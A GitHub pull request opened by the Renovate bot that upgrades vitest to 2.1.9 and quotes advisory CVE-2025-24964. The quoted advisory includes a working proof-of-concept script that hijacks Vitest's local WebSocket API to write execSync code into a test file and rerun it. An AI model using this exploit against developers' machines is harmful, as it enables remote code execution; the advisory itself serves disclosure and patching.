Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Feb 27, 2025

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
vitest (source) 2.1.2 -> 2.1.9 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.


Release Notes

vitest-dev/vitest (vitest)

v2.1.9

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

v2.1.8

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.7

Compare Source

   🐞 Bug Fixes
  • Revert support for Vite 6  -  by @​sheremet-va (fbe5c)
    • This introduced some breaking changes (#​6992). We will enable support for it later. In the meantime, you can still use pnpm.overrides or yarn resolutions to override the vite version in the vitest package - the APIs are compatible.
    View changes on GitHub

v2.1.6

Compare Source

🚀 Features

  • Support Vite 6
    View changes on GitHub

v2.1.5

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.4

Compare Source

   🚀 Features

This patch release includes a non-breaking feature for the experimental Browser Mode that doesn't follow SemVer. If you want to avoid picking up releases like this, make sure to pin the Vitest version in your package.json. See npm's documentation about semver for more information.

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.3

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 5b201b2 to 5eaaf86 Compare March 5, 2025 13:51
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 1d7a049 to 5854ad2 Compare March 17, 2025 12:38
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 57f8fae to c8d6c3b Compare April 8, 2025 20:25
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from c8d6c3b to 5d8afa3 Compare April 25, 2025 12:10
@github-actions
Copy link

This PR has been marked with label stale Since it has been inactive for 20 days. It will automatically be closed in 10 days if no further activity occurs.

@github-actions github-actions bot added the Stale label May 16, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 5d8afa3 to 5eb6c5f Compare May 20, 2025 13:35
@github-actions github-actions bot removed the Stale label May 21, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 8a492e1 to 4b8284c Compare June 4, 2025 09:06
@naftis naftis force-pushed the develop branch 4 times, most recently from a12a3b3 to 8b20d9b Compare June 5, 2025 16:29
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 4b8284c to 5ebaf6f Compare June 22, 2025 13:55
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 5ebaf6f to b22bfe5 Compare July 4, 2025 06:17
@adskyiproger adskyiproger force-pushed the develop branch 11 times, most recently from 9f90a83 to af308dd Compare July 19, 2025 09:28
@adskyiproger adskyiproger force-pushed the develop branch 14 times, most recently from ba6795b to 6326bf7 Compare July 23, 2025 16:15
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from db58f20 to f54cb8f Compare August 13, 2025 17:35
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from f54cb8f to 3d44648 Compare August 19, 2025 17:49
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 3d44648 to 1319166 Compare August 31, 2025 13:16
@adskyiproger adskyiproger force-pushed the develop branch 2 times, most recently from dbe20a5 to f6125ea Compare September 25, 2025 08:10
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 1319166 to a6b27e9 Compare September 25, 2025 14:04
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from a6b27e9 to 3e8380f Compare October 21, 2025 13:25
@adskyiproger adskyiproger force-pushed the develop branch 3 times, most recently from 82d100c to 3bbbb30 Compare October 22, 2025 07:10
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 3e8380f to 2111819 Compare November 10, 2025 19:04
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 2111819 to 140330c Compare November 18, 2025 22:51
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 140330c to c4c6322 Compare December 3, 2025 20:07
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant